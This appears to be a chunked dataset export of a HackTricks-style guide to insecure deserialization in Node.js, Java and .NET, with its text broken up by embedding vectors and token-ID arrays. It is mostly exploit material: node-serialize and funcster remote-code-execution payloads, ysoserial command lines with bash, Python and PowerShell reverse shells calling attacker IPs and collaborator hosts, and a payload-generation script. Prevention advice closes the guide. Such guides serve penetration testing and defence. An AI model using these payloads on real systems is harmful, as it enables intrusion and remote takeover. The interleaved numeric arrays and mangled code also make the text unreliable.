if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function. however, just serialising a function won't execute it as it would be necessary that some part of the code is calling y. rce in our example and that
[ -0.12220201641321182, -0.16009657084941864, -0.7085561752319336, 0.4151248633861542, -0.2985081374645233, 0.22840330004692078, -0.45483145117759705, 0.32235273718833923, 0.7221255302429199, 0.9123213291168213, 0.759364902973175, -0.010099842213094234, 0.3729023337364197, -0.455180138349533...
[ 3853, 1010, 2009, 2097, 2022, 6472, 2074, 2138, 2009, 1005, 1055, 2513, 2011, 2178, 4872, 1012, 3582, 2023, 4957, 2005, 2062, 18558, 1012, 1013, 1013, 2065, 2017, 2064, 12014, 1052, 1006, 2513, 4874, 1007, 2000, 2022, 1037, 4872, 1013, 10...
hack_tricks
155.txt
3
' s highly unlikable. anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized. in the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code : var serialize = require ('node - serialize') ; var test = { " rce " : " _ $ $ nd _ func $ $ _ function ( ) { require ('child _ process'). exec ('ls / ', function ( error, stdout, stderr ) { console. log ( stdout ) } ) ; } ( ) " } ; serialize. unserialize ( test ) ; as it was previously indicated, this library will get the code after _ $ $ nd _ func $ $ _ and will execute it using eval. therefore, in order to auto - execute code you can delete the function creation part and the last parenthesis and just execute a js oneliner like in the following example : var serialize = require ('node - serialize') ; var test ='{ " rce " : " _ $ $ nd _ func $ $ _ require ( \'child _ process \'). exec ( \'ls / \ ', function ( error, stdout, stderr ) { console. log ( stdout ) } ) " }'; serialize. unserialize ( test ) ; you can find here further information about how to exploit this vulnerability. funcsterthe interesting difference here is that the standard built - in objects are not accessible, because they are out of scope. it means that we can execute our code, but cannot call build - in objects ’ methods. so if we use console. log ( ) or require ( something ), node returns an exception like " referenceerror : console is not defined ". however, we can easily can get back access to everything because we still have access to the global context using something like this. constructor. constructor ( " console. log ( 1111 ) " ) ( ) ; : funcster = require ( " funcster " ) ; / / serializationvar test = funcster. serialize ( function ( ) { return " hello world! " } ) console. log ( test ) / / { _ _ js _ function
[ -0.45904675126075745, -0.48227715492248535, -0.7429105639457703, 0.4958946704864502, -0.2524586021900177, -0.1997656226158142, -0.30152031779289246, 0.08448290824890137, 0.6303538084030151, 1.2741594314575195, 0.25320133566856384, -0.30479609966278076, 0.18109484016895294, -0.4822672903537...
[ 1005, 1055, 3811, 4895, 25421, 3468, 1012, 4312, 1010, 2017, 2071, 2074, 19933, 1996, 7642, 5084, 4874, 5815, 2070, 6687, 24124, 1999, 2344, 2000, 8285, 15389, 1996, 27289, 3853, 2043, 1996, 4874, 2003, 4078, 11610, 28931, 1012, 1999, 1996,...
hack_tricks
155.txt
4
:'function ( ) { return " hello world! " }'} / / deserialization with auto - executionvar desertest1 = { _ _ js _ function :'function ( ) { return " hello world! " } ( )'} funcster. deepdeserialize ( desertest1 ) var desertest2 = { _ _ js _ function :'this. constructor. constructor ( " console. log ( 1111 ) " ) ( )'} funcster. deepdeserialize ( desertest2 ) var desertest3 = { _ _ js _ function :'this. constructor. constructor ( " require ( \'child _ process \'). exec ( \'ls / \ ', function ( error, stdout, stderr ) { console. log ( stdout ) } ) ; " ) ( )'} funcster. deepdeserialize ( desertest3 ) for more information read this page. serialize - javascriptthe package doesn ’ t include any deserialization functionality and requires you to implement it yourself. their example uses eval directly. this is the official deserialisation example : function deserialize ( serializedjavascript ) { return eval ('('+ serializedjavascript +')') ; } if this function is used to deserialize objects you can easily exploit it : var serialize = require ('serialize - javascript') ; / / serializationvar test = serialize ( function ( ) { return " hello world! " } ) ; console. log ( test ) / / function ( ) { return " hello world! " } / / deserializationvar test = " function ( ) { require ('child _ process'). exec ('ls / ', function ( error, stdout, stderr ) { console. log ( stdout ) } ) ; } ( ) " deserialize ( test ) cryo libraryin the following pages you can find information about how to abuse this library to execute arbitrary commands : urls : / / www. acunetix. com / blog / web - security - zone / deserialization - vulnerabilities - attacking - deserialization - in - js / urls : / / hackerone. com / reports / 350418java - httpthe main problem with
[ 0.4365658462047577, -0.0035123678389936686, -0.1667163074016571, 0.43664613366127014, -0.41953030228614807, 0.2609420418739319, -0.636792778968811, 0.2867265045642853, 0.24633556604385376, 0.706135630607605, 0.7932121753692627, -0.06882231682538986, 0.37846851348876953, -0.0579120442271232...
[ 1024, 1005, 3853, 1006, 1007, 1063, 2709, 1000, 7592, 2088, 999, 1000, 1065, 1005, 1065, 1013, 1013, 4078, 11610, 22731, 2007, 8285, 1011, 7781, 10755, 5532, 4355, 2487, 1027, 1063, 1035, 1035, 1046, 2015, 1035, 3853, 1024, 1005, 3853, 10...
hack_tricks
155.txt
5
deserialized objects in java is that deserialization callbacks were invoked during deserialization. this makes possible for an attacker to take advantage of that callbacks and prepare a payload that abuses the callbacks to perform malicious actions. fingerprintswhite boxsearch inside the code for serialization classes and function. for example, search for classes implementing serializable, the use of java. io. objectinputstream _ _ or readobject _ _ or readunshare functions _. _ you should also keep an eye on : xmldecoder with external user defined parametersxstream with fromxml method ( xstream version < = v1. 46 is vulnerable to the serialization issue ) objectinputstream with readobjectuses of readobject, readobjectnoddata, readresolve or readexternalobjectinputstream. readunsharedserializableblack boxfingerprints / magic bytes of java serialised objects ( from objectinputstream ) : ac ed 00 05 in hexro0 in base64content - type header of an http response set to application / x - java - serialized - object1f 8b 08 00 hex previously compressedh4sia base64 previously compressedweb files with extension. faces and faces. viewstate parameter. if you find this in a wabapp, take a look to the post about java jsf vewstate deserialization. javax. faces. viewstate = ro0abxvyabnbtgphdmeubgfuzy5pymply3q7km5ynxbzkwwcaab4caaaaajwdaaml2xvz2lulnhodg1scheck if vulnerableif you want to learn about how does a java deserialized exploit work you should take a look to basic java deserialization, java dns deserialization, and commonscollection1 payload. white box testyou can check if there is installed any application with known vulnerabilities. find. - iname " * commons * collection * " grep - r invoketransformer. you could try to check all the libraries known to be vulnerable and that ysoserial can provide an exploit for. or you could check the libraries indicated on java - deserialization - cheat - sheet. you could also use gadgetinspector to search for possible gadget chains that can be exploited
[ -0.4523327350616455, -0.1340499371290207, -0.8345197439193726, 0.6199459433555603, -0.5180420875549316, -0.07021985203027725, -0.4663045108318329, 0.014569742605090141, 0.6765542030334473, 0.6751346588134766, 0.6448149085044861, 0.23293255269527435, 0.11077630519866943, -0.3394125699996948...
[ 4078, 11610, 28931, 5200, 1999, 9262, 2003, 2008, 4078, 11610, 22731, 2655, 12221, 2020, 24959, 2076, 4078, 11610, 22731, 1012, 2023, 3084, 2825, 2005, 2019, 17346, 2000, 2202, 5056, 1997, 2008, 2655, 12221, 1998, 7374, 1037, 18093, 2008, 2...
hack_tricks
155.txt
6
. when running gadgetinspector ( after building it ) don't care about the tons of warnings / errors that it's going through and let it finish. it will write all the findings under gadgetinspector / gadget - results / gadget - chains - year - month - day - hore - min. txt. please, notice that gadgetinspector won't create an exploit and it may indicate false positives. black box testusing the burp extension gadgetprobe you can identify which libraries are available ( and even the versions ). with this information it could be easier to choose a payload to exploit the vulnerability. read this to learn more about gadgetprobe. gadgetprobe is focused on * * objectinputstream * * deserializations * *. * * using burp extension java deserialization scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them. read this to learn more about java deserialization scanner. java deserialization scanner is focused on objectinputstream deserializations. you can also use freddy to detect deserializations vulnerabilities in burp. this plugin will detect * * not only objectinputstream * * related vulnerabilities but also vulns from json an yml deserialization libraries. in active mode, it will try to confirm them using sleep or dns payloads. you can find more information about freddy here. serialization testnot all is about checking if any vulnerable library is used by the server. sometimes you could be able to change the data inside the serialized object and bypass some checks ( maybe grant you admin privileges inside a webapp ). if you find a java serialized object being sent to a web application, you can use serializationdumper to print in a more human readable format the serialization object that is sent. knowing which data are you sending would be easier to modify it and bypass some checks. exploitysoserialthe most well - known tool to exploit java deserializations is ysoserial ( download here ). you can also consider using ysoseral - modified which will allow you to use complex commands ( with pipes for example ). note that this tool is focused on exploiting objectinputstream. i would start using the " urldns " payload before a rce payload to test if the injection is possible. anyway, note that maybe the " urldns
[ 0.10368426889181137, 0.21511046588420868, -0.7008988857269287, 0.3580414652824402, -0.6901822686195374, 0.2527219355106354, -0.27634570002555847, 0.2880086600780487, 0.8218597173690796, 1.0512202978134155, 0.07493317872285843, -0.2424371838569641, 0.624618411064148, -0.7937754988670349, ...
[ 1012, 2043, 2770, 11721, 24291, 7076, 5051, 16761, 1006, 2044, 2311, 2009, 1007, 2123, 1005, 1056, 2729, 2055, 1996, 6197, 1997, 16234, 1013, 10697, 2008, 2009, 1005, 1055, 2183, 2083, 1998, 2292, 2009, 3926, 1012, 2009, 2097, 4339, 2035, ...
hack_tricks
155.txt
7
" payload is not working but other rce payload is. # poc to make the application perform a dns reqjava - jar ysoserial - master - snapshot. jar urldns url > payload # poc rce in windows # pingjava - jar ysoserial - master - snapshot. jar commonscollections5'cmd / c ping - n 5 127. 0. 0. 1'> payload # time, i noticed the response too longer when this was usedjava - jar ysoserial - master - snapshot. jar commonscollections4 " cmd / c timeout 5 " > payload # create filejava - jar ysoserial - master - snapshot. jar commonscollections4 " cmd / c echo pwned > c : \ \ \ \ users \ \ \ \ username \ \ \ \ pwn " > payload # dns requestjava - jar ysoserial - master - snapshot. jar commonscollections4 " cmd / c nslookup jvikwa34jwgftvoxdz16jhpufllb90. burpcollaborator. net " # http request ( + dns ) java - jar ysoserial - master - snapshot. jar commonscollections4 " cmd / c certutil - urlcache - split - f url a " java - jar ysoserial - master - snapshot. jar commonscollections4 " powershell. exe - noni - w hidden - nop - exec bypass - enc [UNK] " # # in the ast url request was encoded : iex ( new - object net. webclient ). downloadstring ('url : / / 1ce70poou0hebi3wzus1z2ao1f79vy. burpcollaborator. net / a') # # to encode something in base64 for windows ps from linux you can use : echo - n " < payload > " | iconv - - to - code utf - 16le | base64 - w0 # reverse shell # # encoded : iex ( new - object net. webclient ). downloadstring ('url : / / 192. 168. 1. 4 : 8989 / powercat. ps1') java - jar
[ 0.35207971930503845, -0.16207605600357056, -0.519262969493866, 0.8933952450752258, 0.22927209734916687, 0.22661997377872467, -0.2808593511581421, 0.20952247083187103, 0.7180135846138, 0.17486447095870972, 0.1493033766746521, 0.22625844180583954, 0.686161458492279, -0.8959490060806274, -0...
[ 1000, 18093, 2003, 2025, 2551, 2021, 2060, 22110, 2063, 18093, 2003, 1012, 1001, 13433, 2278, 2000, 2191, 1996, 4646, 4685, 1037, 1040, 3619, 2128, 4160, 3900, 3567, 1011, 15723, 1061, 17063, 11610, 2140, 1011, 3040, 1011, 20057, 12326, 101...
hack_tricks
155.txt
8
ysoserial - master - snapshot. jar commonscollections4 " powershell. exe - noni - w hidden - nop - exec bypass - enc [UNK] " # poc rce in linux # pingjava - jar ysoserial - master - snapshot. jar commonscollections4 " ping - c 5 192. 168. 1. 4 " > payload # time # # using time in bash i didn't notice any difference in the timing of the response # create filejava - jar ysoserial - master - snapshot. jar commonscollections4 " touch / tmp / pwn " > payload # dns requestjava - jar ysoserial - master - snapshot. jar commonscollections4 " dig ftcwoztjxibkocen6mkck0ehs8yymn. burpcollaborator. net " java - jar ysoserial - master - snapshot. jar commonscollections4 " nslookup ftcwoztjxibkocen6mkck0ehs8yymn. burpcollaborator. net " # http request ( + dns ) java - jar ysoserial - master - snapshot. jar commonscollections4 " curl ftcwoztjxibkocen6mkck0ehs8yymn. burpcollaborator. net " > payloadjava - jar ysoserial - master - snapshot. jar commonscollections4 " wget ftcwoztjxibkocen6mkck0ehs8yymn. burpcollaborator. net " # reverse shell # # encoded : bash - i > & / dev / tcp / 127. 0. 0. 1 / 4444 0 > & 1java - jar ysoserial - master - snapshot. jar commonscollections4 " bash - c { echo, ymfzacatasa + jiavzgv2l3rjcc8xmjcumc4wljevndq0ncawpiyx } | { base64, - d } | { bash, - i } " | base64 - w0 # # encoded : export rhost = " 127. 0. 0. 1 " ; export rport = 12345 ; python -
[ 0.3640114367008209, 0.13821354508399963, -0.6242231726646423, 0.5059139132499695, -0.4101369380950928, -0.1371581256389618, -0.4453545808792114, 0.4243398904800415, 0.5469277501106262, 0.7777959108352661, -0.1902746558189392, 0.0242728590965271, 0.45526716113090515, -0.3380681872367859, ...
[ 1061, 17063, 11610, 2140, 1011, 3040, 1011, 20057, 12326, 1012, 15723, 7674, 26895, 18491, 2015, 2549, 1000, 4204, 18223, 1012, 4654, 2063, 1011, 2512, 2072, 1011, 1059, 5023, 1011, 2053, 2361, 1011, 4654, 8586, 11826, 1011, 4372, 2278, 100...
hack_tricks
155.txt
9
c'import sys, socket, os, pty ; s = socket. socket ( ) ; s. connect ( ( os. getenv ( " rhost " ), int ( os. getenv ( " rport " ) ) ) ) ; [ os. dup2 ( s. fileno ( ), fd ) for fd in ( 0, 1, 2 ) ] ; pty. spawn ( " / bin / sh " )'java - jar ysoserial - master - snapshot. jar commonscollections4 " bash - c { echo, [UNK] = } | { base64, - d } | { bash, - i } " # base64 encode payload in base64base64 - w0 payloadwhen creating a payload for java. lang. runtime. exec ( ) you cannot use special characters like " > " or " | " to redirect the output of an execution, " $ ( ) " to execute commands or even pass arguments to a command separated by spaces ( you can do echo - n " hello world " but you can't do python2 - c'print " hello world "'). in order to encode correctly the payload you could use this webpage. feel free to use the next script to create all the possible code execution payloads for windows and linux and then test them on the vulnerable web page : import osimport base64 # you may need to update the payloadspayloads = ['beanshell1 ','clojure ','commonsbeanutils1 ','commonscollections1 ','commonscollections2 ','commonscollections3 ','commonscollections4 ','commonscollections5 ','commonscollections6 ','commonscollections7 ','groovy1 ','hibernate1 ','hibernate2 ','jbossinterceptors1 ','jrmpclient ','json1 ','javassistweld1 ','jdk7u21 ','mozillarhino1 ','mozillarhino2 ','myfaces1 ','myfaces2 ','rome ','spring1 ','spring2 ','vaadin1 ','wicket1'] def generate (
[ 0.15767782926559448, -0.0747697576880455, -0.34970369935035706, 1.0970097780227661, -0.32423290610313416, -0.060201920568943024, -0.2695334553718567, -0.1298023909330368, 0.16690172255039215, 0.5112325549125671, 0.11200834065675735, 0.5210062861442566, 0.4718647003173828, 0.004138262011110...
[ 1039, 1005, 12324, 25353, 2015, 1010, 22278, 1010, 9808, 1010, 13866, 2100, 1025, 1055, 1027, 22278, 1012, 22278, 1006, 1007, 1025, 1055, 1012, 7532, 1006, 1006, 9808, 1012, 2131, 2368, 2615, 1006, 1000, 1054, 15006, 2102, 1000, 1007, 1010,...
hack_tricks
155.txt
10
name, cmd ) : for payload in payloads : final = cmd. replace ('replace ', payload ) print'generating'+ payload +'for'+ name + '...'command = os. popen ('java - jar ysoserial. jar'+ payload +'"'+ final +'"') result = command. read ( ) command. close ( ) encoded = base64. b64encode ( result ) if encoded! = " " : open ( name +'_ intruder. txt ','a'). write ( encoded +'\ n') generate ('windows ','ping - n 1 win. replace. server. local') generate ('linux ','ping - c 1 nix. replace. server. local') serialkillerbypassgadgetsyou can use urls : / / github. com / pwntester / serialkillerbypassgadgetcollection along with ysoserial to create more exploits. more information about this tool in the slides of the talk where the tool was presented : urls : / / es. slideshare. net / codewhitesec / java - deserialization - vulnerabilities - the - forgotten - bug - class? next _ slideshow = 1marshalsecmarshalsec can be used to generate payloads to exploit different json and yml serialization libraries in java. in order to compile the project i needed to add this dependencies to pom. xml : < dependency > < groupid > javax. activation < / groupid > < artifactid > activation < / artifactid > < version > 1. 1. 1 < / version > < / dependency > < dependency > < groupid > com. sun. jndi < / groupid > < artifactid > rmiregistry < / artifactid > < version > 1. 2. 1 < / version > < type > pom < / type > < / dependency > install maven, and compile the project : sudo apt - get install mavenmvn clean package - dskiptestsfastjsonread more about this java json library : urls : / / www. alphabot. com / security / blog / 2020 / java / fastjson - exceptional - deserialization - vulnerabilities. htmllabsif you want to test some ysos
[ 0.4153231084346771, -0.5890977382659912, -0.4896235167980194, 1.159111499786377, -0.6072118282318115, -0.15042302012443542, -0.9919186234474182, 0.06322697550058365, 0.7496652007102966, 0.5576160550117493, 0.18819886445999146, 0.2581087648868561, 0.013796785846352577, -0.4224933087825775, ...
[ 2171, 1010, 4642, 2094, 1007, 1024, 2005, 18093, 1999, 18093, 2015, 1024, 2345, 1027, 4642, 2094, 1012, 5672, 1006, 1005, 5672, 1005, 1010, 18093, 1007, 6140, 1005, 11717, 1005, 1009, 18093, 1009, 1005, 2005, 1005, 1009, 2171, 1009, 1005, ...
hack_tricks
155.txt
11
##erial payloads you can run this webapp : urls : / / github. com / hvqzao / java - deserialize - webappurls : / / diablohorn. com / 2017 / 09 / 09 / understanding - practicing - java - deserialization - exploits / whyjava loves sending serialized objects all over the place. for example : in http requests – parameters, viewstate, cookies, you name it. rmi – the extensively used java rmi protocol is 100 % based on serializationrmi over http – many java thick client web apps use this – again 100 % serialized objectsjmx – again, relies on serialized objects being shot over the wirecustom protocols – sending an receiving raw java objects is the norm – which we ’ ll see in some of the exploits to comepreventiontransient objectsa class that implements serializable can implement as transient any object inside the class that shouldn't be serializable. for example : public class myaccount implements serializable { private transient double profit ; / / declared transient private transient double margin ; / / declared transientavoid serialization of a class that need to implements serializablesome of your application objects may be forced to implement serializable due to their hierarchy. to guarantee that your application objects can't be deserialized, a readobject ( ) method should be declared ( with a final modifier ) which always throws an exception : private final void readobject ( objectinputstream in ) throws java. io. ioexception { throw new java. io. ioexception ( " cannot be deserialized " ) ; } check deserialized class before deserializing itthe java. io. objectinputstream class is used to deserialize objects. it's possible to harden its behavior by subclassing it. this is the best solution if : you can change the code that does the deserializationyou know what classes you expect to deserializethe general idea is to override objectinputstream. html # resolveclass ( ) in order to restrict which classes are allowed to be deserialized. because this call happens before a readobject ( ) is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow. a simple example of this shown here, where the the lookaheadobjectinputstream class is guaranteed not to des
[ -0.019904490560293198, -0.23716063797473907, -0.8405147790908813, 0.2756896913051605, -0.22750592231750488, 0.28452709317207336, -0.31838279962539673, -0.3118799328804016, 0.5229813456535339, 0.9518916010856628, 0.025974715128540993, -0.09725256264209747, 1.012027621269226, -0.572244584560...
[ 11610, 2140, 18093, 2015, 2017, 2064, 2448, 2023, 4773, 29098, 1024, 24471, 4877, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 1044, 2615, 4160, 4143, 2080, 1013, 9262, 1011, 4078, 11610, 3669, 4371, 1011, 4773, 29098, 3126, 4877...
hack_tricks
155.txt
12
##erialize any other type besides the bicycle class : public class lookaheadobjectinputstream extends objectinputstream { public lookaheadobjectinputstream ( inputstream inputstream ) throws ioexception { super ( inputstream ) ; } / * * * only deserialize instances of our expected bicycle class * / @ override protected class <? > resolveclass ( objectstreamclass desc ) throws ioexception, classnotfoundexception { if (! desc. getname ( ). equals ( bicycle. class. getname ( ) ) ) { throw new invalidclassexception ( " unauthorized deserialization attempt ", desc. getname ( ) ) ; } return super. resolveclass ( desc ) ; } } harden all java. io. objectinputstream usage with an agentif you don't own the code or can't wait for a patch, using an agent to weave in hardening to java. io. objectinputstream is the best solution. using this approach you can only blacklist known malicious types and not whitelist them as you don't know which object are being serialized. to enable these agents, simply add a new jvm parameter : - javaagent : name - of - agent. jarexample : ro0 by contrast securityreferencesdeserialization and ysoserial talk : url : / / frohoff. github. io / appseccali - marshalling - pickles / urls : / / foxglovesecurity. com / 2015 / 11 / 06 / what - do - weblogic - websphere - jboss - jenkins - opennms - and - your - application - have - in - common - this - vulnerability / urls : / / www. youtube. com / watch? v = vviy3o - euvqtalk about gadgetinspector : urls : / / www. youtube. com / watch? v = wpbw6zq52w8 and slides : urls : / / i. blackhat. com / us - 18 / thu - august - 9 / us - 18 - haken - automated - discovery - of - deserialization - gadget - chains. pdfmarshalsec paper : urls : / / www. github. com / mbechler / marshalsec / blob / master / marshal
[ -0.19713635742664337, -0.6622735857963562, 0.536953866481781, 0.2825469672679901, -0.1686108410358429, 0.04647276923060417, -0.6264784932136536, -0.04046068713068962, 0.053113218396902084, 0.44514524936676025, 0.18916933238506317, -0.3909444510936737, 0.5506805181503296, -0.367229402065277...
[ 11610, 3669, 4371, 2151, 2060, 2828, 4661, 1996, 10165, 2465, 1024, 2270, 2465, 2298, 4430, 13775, 16429, 20614, 2378, 18780, 21422, 8908, 4874, 2378, 18780, 21422, 1063, 2270, 2298, 4430, 13775, 16429, 20614, 2378, 18780, 21422, 1006, 20407,...
hack_tricks
155.txt
13
##sec. pdf? raw = trueurls : / / dzone. com / articles / why - runtime - compartmentalization - is - the - most - comprurls : / / deadcode. me / blog / 2016 / 09 / 02 / blind - java - deserialization - commons - gadgets. htmlurls : / / deadcode. me / blog / 2016 / 09 / 18 / blind - java - deserialization - part - ii. htmljava and. net json deserialization paper : urls : / / www. blackhat. com / docs / us - 17 / thursday / us - 17 - munoz - friday - the - 13th - json - attacks - wp. pdf, talk : urls : / / www. youtube. com / watch? v = ouaewhw5b8c and slides : urls : / / www. blackhat. com / docs / us - 17 / thursday / us - 17 - munoz - friday - the - 13th - json - attacks. pdfdeserialziations cves : urls : / / paper. seebug. org / 123 / jndi injection & log4shellfind whats is jndi injection, how to abuse it via rmi, corba & ldap and how to exploit log4shell ( and example of this vuln ) in the following page : jndi - java naming and directory interface & log4shelljms - java message servicethe java message service ( jms ) api is a java message - oriented middleware api for sending messages between two or more clients. it is an implementation to handle the producer – consumer problem. jms is a part of the java platform, enterprise edition ( java ee ), and was defined by a specification developed at sun microsystems, but which has since been guided by the java community process. it is a messaging standard that allows application components based on java ee to create, send, receive, and read messages. it allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. ( from wikipedia ). productsthere are several products using this middleware to send messages : exploitationso, basically there are a bunch of services using jms on a dangerous way. therefore, if you have enough privileges to send messages to this services ( usually you will need valid credentials ) you could be able to send malicious objects serialized
[ 0.3025042712688446, -0.3921608030796051, -0.3033386170864105, 0.20767264068126678, -0.11897964030504227, -0.38697317242622375, -0.4105313718318939, 0.15765883028507233, 0.638640820980072, 1.172789216041565, -0.052032288163900375, -0.38193902373313904, 0.7341071367263794, -0.407216429710388...
[ 3366, 2278, 1012, 11135, 1029, 6315, 1027, 2995, 3126, 4877, 1024, 1013, 1013, 1040, 15975, 1012, 4012, 1013, 4790, 1013, 2339, 1011, 2448, 7292, 1011, 15273, 11475, 9276, 1011, 2003, 1011, 1996, 1011, 2087, 1011, 4012, 18098, 3126, 4877, ...
hack_tricks
155.txt
14
that will be deserialized by the consumer / subscriber. this means that in this exploitation all the clients that are going to use that message will get infected. you should remember that even if a service is vulnerable ( because it's insecurely deserializing user input ) you still need to find valid gadgets to exploit the vulnerability. the tool jmet was created to connect and attack this services sending several malicious objects serialized using known gadgets. these exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application. referencesjmet talk : urls : / / www. youtube. com / watch? v = 0h8dwiowggaslides : urls : / / www. blackhat. com / docs / us - 16 / materials / us - 16 - kaiser - pwning - your - java - messaging - with - deserialization - vulnerabilities. pdf. net. net is similar to java regarding how deserialization exploits work : the exploit will abuse gadgets that execute some interesting code when an object is deserialized. fingerprintwhiteboxsearch the source code for the following terms : 1. typenamehandling2. javascripttyperesolverlook for any serializers where the type is set by a user controlled variable. blackboxyou can search for the base64 encoded string aaeaaad / / / / / or any other thing that may be deserialized in the back - end and that allows you to control the deserialized type * *. * * for example, a json or xml containing typeobject or $ type. ysoserial. netin this case you can use the tool ysoserial. net in order to create the deserialization exploits. once downloaded the git repository you should compile the tool using visual studio for example. if you want to learn about how does ysoserial. net creates it's exploit you can check this page where is explained the objectdataprovider gadget + expandedwrapper + json. net formatter. the main options of ysoserial. net are : - - gadget, - - formatter, * * - - output * * and - - plugin. - - gadget used to indicate the gadget to abuse ( indicate the class / function that will be abused during deserialization to execute commands ). - -
[ 0.10845775157213211, -0.19528168439865112, -0.8058109879493713, 0.8918522000312805, -0.03093820810317993, 0.4393227994441986, -0.7037336826324463, 0.20486454665660858, 0.9264706969261169, 0.9733777046203613, 0.3753843903541565, -0.4918317198753357, 1.0117250680923462, -0.3308943510055542, ...
[ 2008, 2097, 2022, 4078, 11610, 28931, 2011, 1996, 7325, 1013, 4942, 29234, 2099, 1012, 2023, 2965, 2008, 1999, 2023, 14427, 2035, 1996, 7846, 2008, 2024, 2183, 2000, 2224, 2008, 4471, 2097, 2131, 10372, 1012, 2017, 2323, 3342, 2008, 2130, ...
hack_tricks
155.txt
15
formatter, used to indicated the method to serialized the exploit ( you need to know which library is using the back - end to deserialize the payload and use the same to serialize it ) * * - - output * * used to indicate if you want the exploit in raw or base64 encoded. note that ysoserial. net will encode the payload using utf - 16le ( encoding used by default on windows ) so if you get the raw and just encode it from a linux console you might have some encoding compatibility problems that will prevent the exploit from working properly ( in htb json box the payload worked in both utf - 16le and ascii but this doesn't mean it will always work ). * * - - plugin * * ysoserial. net supports plugins to craft exploits for specific frameworks like viewstatemore ysoserial. net parameters - - minify will provide a smaller payload ( if possible ) - - raf - f json. net - c " anything " this will indicate all the gadgets that can be used with a provided formatter ( json. net in this case ) - - sf xml you can indicate a gadget ( - g ) and ysoserial. net will search for formatters containing " xml " ( case insensitive ) ysoserial examples to create exploits : # send pingysoserial. exe - g objectdataprovider - f json. net - c " ping - n 5 10. 10. 14. 44 " - o base64 # timing # i tried using ping and timeout but there wasn't any difference in the response timing from the web server # dns / http requestysoserial. exe - g objectdataprovider - f json. net - c " nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux. burpcollaborator. net " - o base64ysoserial. exe - g objectdataprovider - f json. net - c " certutil - urlcache - split - f url : / / rfaqfsze4tl7hhkt5jtp53a1fsli97. burpcollaborator. net / a a " - o base64 # reverse shell # create shell command in linuxecho - n "
[ -0.011134645901620388, 0.047330040484666824, -0.6143272519111633, 1.032697319984436, -0.762670636177063, -0.14583218097686768, -0.6432708501815796, 0.13523028790950775, 0.4941490590572357, 0.45108917355537415, 0.20524509251117706, -0.43108272552490234, 0.46974650025367737, -0.8350520730018...
[ 4289, 3334, 1010, 2109, 2000, 5393, 1996, 4118, 2000, 27289, 1996, 18077, 1006, 2017, 2342, 2000, 2113, 2029, 3075, 2003, 2478, 1996, 2067, 1011, 2203, 2000, 4078, 11610, 3669, 4371, 1996, 18093, 1998, 2224, 1996, 2168, 2000, 7642, 4697, ...
hack_tricks
155.txt
16
iex ( new - object net. webclient ). downloadstring ('url : / / 10. 10. 14. 44 / shell. ps1') " | iconv - t utf - 16le | base64 - w0 # create exploit using the created b64 shellcodeysoserial. exe - g objectdataprovider - f json. net - c " powershell - encodedcommand [UNK] = " - o base64ysoserial. net has also a very interesting parameter that helps to understand better how every exploit works : - - test if you indicates this parameter ysoserial. net will try the exploit locally, so you can test if your payload will work correctly. this parameter is helpful because if you review the code you will find chucks of code like the following one ( from objectdataprovidergenerator. cs ) : if ( inputargs. test ) { try { serializershelper. jsonnet _ deserialize ( payload ) ; } catch ( exception err ) { debugging. showerrors ( inputargs, err ) ; } } this means that in order to test the exploit the code will call serializershelper. jsonnet _ deserializepublic static object jsonnet _ deserialize ( string str ) { object obj = jsonconvert. deserializeobject < object > ( str, new jsonserializersettings { typenamehandling = typenamehandling. auto } ) ; return obj ; } in the previous code is vulnerable to the exploit created. so if you find something similar in a. net application it means that probably that application is vulnerable too. therefore the - - test parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial. net can create. viewstatetake a look to this post about how to try to exploit the _ _ viewstate parameter of. net to execute arbitrary code. if you already know the secrets used by the victim machine, read this post to know to execute code. preventiondon't allow the datastream to define the type of object that the stream will be deserialized to. you can prevent this by for example using the datacontractserializer or xmlserializer if at all possible. where json. net is being used make sure the
[ -0.013424786739051342, 0.034049540758132935, -0.10493919253349304, 0.23640340566635132, -0.5098146796226501, 0.04784418269991875, -0.3125874400138855, 0.25711673498153687, 0.970746636390686, 0.83562171459198, 0.40854740142822266, -0.7044718861579895, 0.6903642416000366, -0.332499623298645,...
[ 29464, 2595, 1006, 2047, 1011, 4874, 5658, 1012, 4773, 20464, 11638, 1007, 1012, 22956, 18886, 3070, 1006, 1005, 24471, 2140, 1024, 1013, 1013, 2184, 1012, 2184, 1012, 2403, 1012, 4008, 1013, 5806, 1012, 8827, 2487, 1005, 1007, 1000, 1064, ...
hack_tricks
155.txt
17
typenamehandling is only set to none. typenamehandling = typenamehandling. noneif javascriptserializer is to be used then don't use it with a javascripttyperesolver. if you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. one should be aware that this is still risky as many native. net types potentially dangerous in themselves. e. g. system. io. fileinfofileinfo objects that reference files actually on the server can when deserialized, change the properties of those files e. g. to read - only, creating a potential denial of service attack. even if you have limited the types that can be deserialised remember that some types have properties that are risky. system. componentmodel. dataannotations. validationexception, for example has a property value of type object. if this type is the type allowed for deserialization then an attacker can set the value property to any object type they choose. attackers should be prevented from steering the type that will be instantiated. if this is possible then even datacontractserializer or xmlserializer can be subverted e. g. / / action below is dangerous if the attacker can change the data in the databasevar typename = gettransactiontypefromdatabase ( ) ; var serializer = new datacontractjsonserializer ( type. gettype ( typename ) ) ; var obj = serializer. readobject ( ms ) ; execution can occur within certain. net types during deserialization. creating a control such as the one shown below is ineffective. var suspectobject = mybinaryformatter. deserialize ( untrusteddata ) ; / / check below is too late! execution may have already occurred. if ( suspectobject is somedangerousobjecttype ) { / / generate warnings and dispose of suspectobject } for binaryformatter and json. net it is possible to create a safer form of white list control using a custom serializationbinder. try to keep up - to - date on known. net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. a deserializer can only instantiate types that it knows about. try to keep any code that might create potential gadgets separate from any code that
[ -0.36073827743530273, -0.612220287322998, -0.36022961139678955, 0.39573997259140015, -0.2186093032360077, 0.2957598567008972, 0.18402332067489624, 0.3450219929218292, 0.49769845604896545, 0.8200408816337585, 0.6495686769485474, -0.7991710901260376, 0.5025858879089355, -0.41418758034706116,...
